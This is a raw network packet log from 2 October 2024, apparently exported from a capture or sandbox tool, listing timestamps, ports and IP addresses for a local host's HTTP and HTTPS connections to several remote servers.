Oct 2, 2024 05:20:12.961822987 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.961910009 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961920977 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961931944 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961937904 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961951017 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961962938 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.961970091 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.961997986 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.962023020 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.962219954 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.962230921 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.962240934 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.962251902 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.962264061 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.962268114 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.962275028 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.962285995 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.962296009 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.962296963 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.962304115 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.962312937 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.962313890 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.962327003 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.962353945 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.962353945 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.962377071 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.962565899 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.962584019 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.962591887 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.962593079 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.962594986 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.962629080 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.962630987 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.962637901 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.962644100 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.962656975 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.962668896 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.962681055 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.962682009 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.962696075 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.962708950 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.962724924 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.963052034 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963064909 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963083029 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963094950 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963107109 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963115931 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.963119030 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963126898 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.963131905 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963144064 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963146925 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.963155985 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963159084 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.963170052 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963179111 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.963196039 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.963212967 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.963349104 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963501930 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963512897 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963525057 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963536978 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963542938 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.963548899 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963553905 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.963562965 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963573933 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963583946 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.963583946 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.963587046 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963599920 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963604927 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.963612080 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963619947 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.963623047 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963635921 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963641882 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.963649035 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.963653088 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.963675022 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.963695049 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.963999033 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.964018106 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.964031935 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.964045048 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.964059114 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.964061975 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.964071989 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.964073896 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.964093924 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.964095116 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.964102983 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.964108944 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.964117050 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.964121103 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.964133978 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.964134932 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.964148045 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.964153051 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.964160919 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.964164019 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.964174032 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.964181900 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.964185953 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.964193106 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.964198112 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.964209080 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.964212894 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.964226961 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.964245081 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.964253902 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:13.038559914 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:13.044403076 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:14.233136892 CEST	49783	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:14.233218908 CEST	443	49783	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:14.233280897 CEST	49783	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:14.240139008 CEST	49783	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:14.240158081 CEST	443	49783	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:14.640239000 CEST	49784	443	192.168.2.4	104.21.77.132
Oct 2, 2024 05:20:14.640276909 CEST	443	49784	104.21.77.132	192.168.2.4
Oct 2, 2024 05:20:14.640441895 CEST	49784	443	192.168.2.4	104.21.77.132
Oct 2, 2024 05:20:14.641501904 CEST	49784	443	192.168.2.4	104.21.77.132
Oct 2, 2024 05:20:14.641516924 CEST	443	49784	104.21.77.132	192.168.2.4
Oct 2, 2024 05:20:14.873981953 CEST	443	49783	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:14.874058962 CEST	49783	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:14.930536985 CEST	49783	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:14.930557966 CEST	443	49783	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:14.930849075 CEST	443	49783	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:14.930967093 CEST	49783	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:14.932269096 CEST	49783	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:14.975446939 CEST	443	49783	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:15.096518993 CEST	443	49784	104.21.77.132	192.168.2.4
Oct 2, 2024 05:20:15.096607924 CEST	49784	443	192.168.2.4	104.21.77.132
Oct 2, 2024 05:20:15.097955942 CEST	49784	443	192.168.2.4	104.21.77.132
Oct 2, 2024 05:20:15.097965002 CEST	443	49784	104.21.77.132	192.168.2.4
Oct 2, 2024 05:20:15.098193884 CEST	443	49784	104.21.77.132	192.168.2.4
Oct 2, 2024 05:20:15.141391993 CEST	49784	443	192.168.2.4	104.21.77.132
Oct 2, 2024 05:20:15.162256002 CEST	49784	443	192.168.2.4	104.21.77.132
Oct 2, 2024 05:20:15.162590981 CEST	49784	443	192.168.2.4	104.21.77.132
Oct 2, 2024 05:20:15.162621021 CEST	443	49784	104.21.77.132	192.168.2.4
Oct 2, 2024 05:20:15.385890007 CEST	443	49783	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:15.385912895 CEST	443	49783	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:15.385930061 CEST	443	49783	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:15.385952950 CEST	49783	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:15.385978937 CEST	443	49783	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:15.386003971 CEST	49783	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:15.386143923 CEST	49783	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:15.492583036 CEST	443	49783	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:15.492600918 CEST	443	49783	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:15.492679119 CEST	49783	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:15.492691040 CEST	443	49783	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:15.493454933 CEST	49783	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:15.497850895 CEST	443	49783	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:15.497904062 CEST	49783	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:15.497909069 CEST	443	49783	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:15.497951984 CEST	443	49783	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:15.497953892 CEST	49783	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:15.497996092 CEST	49783	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:15.498415947 CEST	49783	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:15.498434067 CEST	443	49783	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:15.516792059 CEST	49785	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:15.516832113 CEST	443	49785	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:15.516908884 CEST	49785	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:15.517544985 CEST	49785	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:15.517558098 CEST	443	49785	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:15.571315050 CEST	443	49784	104.21.77.132	192.168.2.4
Oct 2, 2024 05:20:15.571399927 CEST	443	49784	104.21.77.132	192.168.2.4
Oct 2, 2024 05:20:15.571441889 CEST	49784	443	192.168.2.4	104.21.77.132
Oct 2, 2024 05:20:15.572767019 CEST	49784	443	192.168.2.4	104.21.77.132
Oct 2, 2024 05:20:15.572786093 CEST	443	49784	104.21.77.132	192.168.2.4
Oct 2, 2024 05:20:15.575251102 CEST	49786	443	192.168.2.4	188.114.97.3
Oct 2, 2024 05:20:15.575284004 CEST	443	49786	188.114.97.3	192.168.2.4
Oct 2, 2024 05:20:15.575346947 CEST	49786	443	192.168.2.4	188.114.97.3
Oct 2, 2024 05:20:15.575551987 CEST	49786	443	192.168.2.4	188.114.97.3
Oct 2, 2024 05:20:15.575567007 CEST	443	49786	188.114.97.3	192.168.2.4
Oct 2, 2024 05:20:16.031871080 CEST	443	49786	188.114.97.3	192.168.2.4
Oct 2, 2024 05:20:16.031943083 CEST	49786	443	192.168.2.4	188.114.97.3
Oct 2, 2024 05:20:16.033793926 CEST	49786	443	192.168.2.4	188.114.97.3
Oct 2, 2024 05:20:16.033804893 CEST	443	49786	188.114.97.3	192.168.2.4
Oct 2, 2024 05:20:16.034033060 CEST	443	49786	188.114.97.3	192.168.2.4
Oct 2, 2024 05:20:16.035226107 CEST	49786	443	192.168.2.4	188.114.97.3
Oct 2, 2024 05:20:16.035267115 CEST	49786	443	192.168.2.4	188.114.97.3
Oct 2, 2024 05:20:16.035296917 CEST	443	49786	188.114.97.3	192.168.2.4
Oct 2, 2024 05:20:16.180589914 CEST	443	49785	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:16.180656910 CEST	49785	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:16.183901072 CEST	49785	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:16.183913946 CEST	443	49785	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:16.184144974 CEST	443	49785	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:16.184552908 CEST	49785	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:16.184937954 CEST	49785	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:16.231421947 CEST	443	49785	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:16.476944923 CEST	443	49786	188.114.97.3	192.168.2.4
Oct 2, 2024 05:20:16.477050066 CEST	443	49786	188.114.97.3	192.168.2.4
Oct 2, 2024 05:20:16.477099895 CEST	49786	443	192.168.2.4	188.114.97.3
Oct 2, 2024 05:20:16.477303982 CEST	49786	443	192.168.2.4	188.114.97.3
Oct 2, 2024 05:20:16.477332115 CEST	443	49786	188.114.97.3	192.168.2.4
Oct 2, 2024 05:20:16.477351904 CEST	49786	443	192.168.2.4	188.114.97.3
Oct 2, 2024 05:20:16.477358103 CEST	443	49786	188.114.97.3	192.168.2.4
Oct 2, 2024 05:20:16.479404926 CEST	49787	443	192.168.2.4	172.67.152.190
Oct 2, 2024 05:20:16.479451895 CEST	443	49787	172.67.152.190	192.168.2.4
Oct 2, 2024 05:20:16.479516029 CEST	49787	443	192.168.2.4	172.67.152.190
Oct 2, 2024 05:20:16.479887962 CEST	49787	443	192.168.2.4	172.67.152.190
Oct 2, 2024 05:20:16.479893923 CEST	443	49787	172.67.152.190	192.168.2.4
Oct 2, 2024 05:20:16.809318066 CEST	443	49785	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:16.809384108 CEST	49785	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:16.809400082 CEST	443	49785	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:16.809555054 CEST	49785	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:16.810259104 CEST	49785	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:16.810273886 CEST	443	49785	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:16.812627077 CEST	49788	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:16.812654018 CEST	443	49788	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:16.812813044 CEST	49788	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:16.813021898 CEST	49788	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:16.813036919 CEST	443	49788	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:16.935903072 CEST	443	49787	172.67.152.190	192.168.2.4
Oct 2, 2024 05:20:16.935957909 CEST	49787	443	192.168.2.4	172.67.152.190
Oct 2, 2024 05:20:16.937206030 CEST	49787	443	192.168.2.4	172.67.152.190
Oct 2, 2024 05:20:16.937216043 CEST	443	49787	172.67.152.190	192.168.2.4
Oct 2, 2024 05:20:16.937452078 CEST	443	49787	172.67.152.190	192.168.2.4
Oct 2, 2024 05:20:16.939115047 CEST	49787	443	192.168.2.4	172.67.152.190
Oct 2, 2024 05:20:16.939133883 CEST	49787	443	192.168.2.4	172.67.152.190
Oct 2, 2024 05:20:16.939189911 CEST	443	49787	172.67.152.190	192.168.2.4
Oct 2, 2024 05:20:17.399835110 CEST	443	49787	172.67.152.190	192.168.2.4
Oct 2, 2024 05:20:17.399951935 CEST	443	49787	172.67.152.190	192.168.2.4
Oct 2, 2024 05:20:17.401382923 CEST	49787	443	192.168.2.4	172.67.152.190
Oct 2, 2024 05:20:17.401954889 CEST	49787	443	192.168.2.4	172.67.152.190
Oct 2, 2024 05:20:17.401969910 CEST	443	49787	172.67.152.190	192.168.2.4
Oct 2, 2024 05:20:17.402003050 CEST	49787	443	192.168.2.4	172.67.152.190
Oct 2, 2024 05:20:17.402009010 CEST	443	49787	172.67.152.190	192.168.2.4
Oct 2, 2024 05:20:17.406790972 CEST	49789	443	192.168.2.4	172.67.184.196
Oct 2, 2024 05:20:17.406909943 CEST	443	49789	172.67.184.196	192.168.2.4
Oct 2, 2024 05:20:17.407375097 CEST	49789	443	192.168.2.4	172.67.184.196
Oct 2, 2024 05:20:17.408597946 CEST	49789	443	192.168.2.4	172.67.184.196
Oct 2, 2024 05:20:17.408627987 CEST	443	49789	172.67.184.196	192.168.2.4
Oct 2, 2024 05:20:17.457096100 CEST	443	49788	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:17.457295895 CEST	49788	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:17.458201885 CEST	49788	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:17.458211899 CEST	443	49788	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:17.462412119 CEST	49788	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:17.462416887 CEST	443	49788	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:17.905932903 CEST	443	49789	172.67.184.196	192.168.2.4
Oct 2, 2024 05:20:17.906017065 CEST	49789	443	192.168.2.4	172.67.184.196
Oct 2, 2024 05:20:17.907234907 CEST	49789	443	192.168.2.4	172.67.184.196
Oct 2, 2024 05:20:17.907268047 CEST	443	49789	172.67.184.196	192.168.2.4
Oct 2, 2024 05:20:17.907525063 CEST	443	49789	172.67.184.196	192.168.2.4
Oct 2, 2024 05:20:17.909003973 CEST	49789	443	192.168.2.4	172.67.184.196
Oct 2, 2024 05:20:17.909004927 CEST	49789	443	192.168.2.4	172.67.184.196
Oct 2, 2024 05:20:17.909091949 CEST	443	49789	172.67.184.196	192.168.2.4
Oct 2, 2024 05:20:18.162933111 CEST	443	49788	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:18.162986040 CEST	49788	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:18.163000107 CEST	443	49788	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:18.163012028 CEST	443	49788	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:18.163058043 CEST	49788	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:18.163244009 CEST	49788	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:18.163263083 CEST	443	49788	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:18.164681911 CEST	49790	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:18.164736986 CEST	443	49790	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:18.164827108 CEST	49790	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:18.165024996 CEST	49790	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:18.165039062 CEST	443	49790	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:18.342037916 CEST	443	49789	172.67.184.196	192.168.2.4
Oct 2, 2024 05:20:18.342130899 CEST	443	49789	172.67.184.196	192.168.2.4
Oct 2, 2024 05:20:18.342236042 CEST	49789	443	192.168.2.4	172.67.184.196
Oct 2, 2024 05:20:18.345964909 CEST	49789	443	192.168.2.4	172.67.184.196
Oct 2, 2024 05:20:18.346004963 CEST	443	49789	172.67.184.196	192.168.2.4
Oct 2, 2024 05:20:18.346045971 CEST	49789	443	192.168.2.4	172.67.184.196
Oct 2, 2024 05:20:18.346065044 CEST	443	49789	172.67.184.196	192.168.2.4
Oct 2, 2024 05:20:18.355439901 CEST	49791	443	192.168.2.4	104.21.18.193
Oct 2, 2024 05:20:18.355489969 CEST	443	49791	104.21.18.193	192.168.2.4
Oct 2, 2024 05:20:18.355557919 CEST	49791	443	192.168.2.4	104.21.18.193
Oct 2, 2024 05:20:18.355832100 CEST	49791	443	192.168.2.4	104.21.18.193
Oct 2, 2024 05:20:18.355846882 CEST	443	49791	104.21.18.193	192.168.2.4
Oct 2, 2024 05:20:18.813498020 CEST	443	49791	104.21.18.193	192.168.2.4
Oct 2, 2024 05:20:18.813563108 CEST	49791	443	192.168.2.4	104.21.18.193
Oct 2, 2024 05:20:18.813983917 CEST	443	49790	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:18.814037085 CEST	49790	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:18.814933062 CEST	49791	443	192.168.2.4	104.21.18.193
Oct 2, 2024 05:20:18.814940929 CEST	443	49791	104.21.18.193	192.168.2.4
Oct 2, 2024 05:20:18.815177917 CEST	443	49791	104.21.18.193	192.168.2.4
Oct 2, 2024 05:20:18.815545082 CEST	49790	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:18.815557957 CEST	443	49790	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:18.817192078 CEST	49791	443	192.168.2.4	104.21.18.193
Oct 2, 2024 05:20:18.817224026 CEST	49791	443	192.168.2.4	104.21.18.193
Oct 2, 2024 05:20:18.817256927 CEST	443	49791	104.21.18.193	192.168.2.4
Oct 2, 2024 05:20:18.817261934 CEST	49790	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:18.817269087 CEST	443	49790	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:19.283094883 CEST	443	49791	104.21.18.193	192.168.2.4
Oct 2, 2024 05:20:19.283188105 CEST	443	49791	104.21.18.193	192.168.2.4
Oct 2, 2024 05:20:19.283243895 CEST	49791	443	192.168.2.4	104.21.18.193
Oct 2, 2024 05:20:19.284714937 CEST	49791	443	192.168.2.4	104.21.18.193
Oct 2, 2024 05:20:19.284738064 CEST	443	49791	104.21.18.193	192.168.2.4
Oct 2, 2024 05:20:19.284751892 CEST	49791	443	192.168.2.4	104.21.18.193
Oct 2, 2024 05:20:19.284756899 CEST	443	49791	104.21.18.193	192.168.2.4
Oct 2, 2024 05:20:19.287605047 CEST	49792	443	192.168.2.4	104.21.21.3
Oct 2, 2024 05:20:19.287652016 CEST	443	49792	104.21.21.3	192.168.2.4
Oct 2, 2024 05:20:19.287705898 CEST	49792	443	192.168.2.4	104.21.21.3
Oct 2, 2024 05:20:19.288710117 CEST	49792	443	192.168.2.4	104.21.21.3
Oct 2, 2024 05:20:19.288724899 CEST	443	49792	104.21.21.3	192.168.2.4
Oct 2, 2024 05:20:19.513161898 CEST	443	49790	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:19.513180971 CEST	443	49790	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:19.513250113 CEST	443	49790	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:19.513263941 CEST	49790	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:19.513263941 CEST	49790	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:19.513319016 CEST	49790	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:19.513457060 CEST	49790	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:19.513500929 CEST	443	49790	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:19.514906883 CEST	49793	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:19.514944077 CEST	443	49793	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:19.515006065 CEST	49793	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:19.515197039 CEST	49793	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:19.515209913 CEST	443	49793	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:19.748660088 CEST	443	49792	104.21.21.3	192.168.2.4
Oct 2, 2024 05:20:19.748914003 CEST	49792	443	192.168.2.4	104.21.21.3
Oct 2, 2024 05:20:19.753767014 CEST	49792	443	192.168.2.4	104.21.21.3
Oct 2, 2024 05:20:19.753813982 CEST	443	49792	104.21.21.3	192.168.2.4
Oct 2, 2024 05:20:19.754030943 CEST	443	49792	104.21.21.3	192.168.2.4
Oct 2, 2024 05:20:19.755165100 CEST	49792	443	192.168.2.4	104.21.21.3
Oct 2, 2024 05:20:19.755165100 CEST	49792	443	192.168.2.4	104.21.21.3
Oct 2, 2024 05:20:19.755240917 CEST	443	49792	104.21.21.3	192.168.2.4
Oct 2, 2024 05:20:20.179131985 CEST	443	49792	104.21.21.3	192.168.2.4
Oct 2, 2024 05:20:20.179225922 CEST	443	49792	104.21.21.3	192.168.2.4
Oct 2, 2024 05:20:20.179311037 CEST	49792	443	192.168.2.4	104.21.21.3
Oct 2, 2024 05:20:20.179491997 CEST	49792	443	192.168.2.4	104.21.21.3
Oct 2, 2024 05:20:20.179491997 CEST	49792	443	192.168.2.4	104.21.21.3
Oct 2, 2024 05:20:20.179516077 CEST	443	49792	104.21.21.3	192.168.2.4
Oct 2, 2024 05:20:20.179527998 CEST	443	49792	104.21.21.3	192.168.2.4
Oct 2, 2024 05:20:20.181376934 CEST	49794	443	192.168.2.4	104.21.17.174
Oct 2, 2024 05:20:20.181410074 CEST	443	49794	104.21.17.174	192.168.2.4
Oct 2, 2024 05:20:20.181472063 CEST	49794	443	192.168.2.4	104.21.17.174
Oct 2, 2024 05:20:20.181818008 CEST	49794	443	192.168.2.4	104.21.17.174
